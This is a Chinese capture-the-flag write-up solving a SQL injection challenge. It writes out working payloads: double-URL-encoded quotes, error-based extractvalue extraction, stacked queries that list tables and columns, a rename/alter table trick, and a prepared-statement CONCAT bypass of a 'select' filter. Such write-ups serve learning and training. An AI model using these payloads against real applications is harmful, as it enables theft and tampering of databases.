0x01 考点关键词
SQL注入、堆叠注入、预编译
0x02 分析
sqlmap 没跑出来,过滤了 select,双重 url 编码 ' 才有反应,那就好办了:
首先用报错注入得知数据库名
?id=1%2527 or extractvalue(1, concat(0x7e, database()))--+
进一步查询表名
?id=1%2527;use security;show tables;--+
?id=1%2527;use security;show columns from `uziuzi`;--+
做到这里就感觉有点像2019强网杯那道sql注入题,如果没有过滤alter和rename关键字,这时候我们就可以已下面的骚姿势进行注入:
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#
rename命令用于修改表名。
rename命令格式:rename table 原表名 to 新表名;
把含flag的表名改为显示表(并改id),这时候 or 1=1# 就可以爆出 flag
但是这题不能修改表,所以采用预编译的方法读flag(还是注意过滤了 select 和 ' 双重编码):
?id=1%2527;sEt @sql = CONCAT(%2527sele%2527,%2527ct * from `uziuzi`;%2527);prepArE lola from @sql;EXECUTE lola;#
0x03 总结
过去写过一篇sql总结:传送门
Comments | NOTHING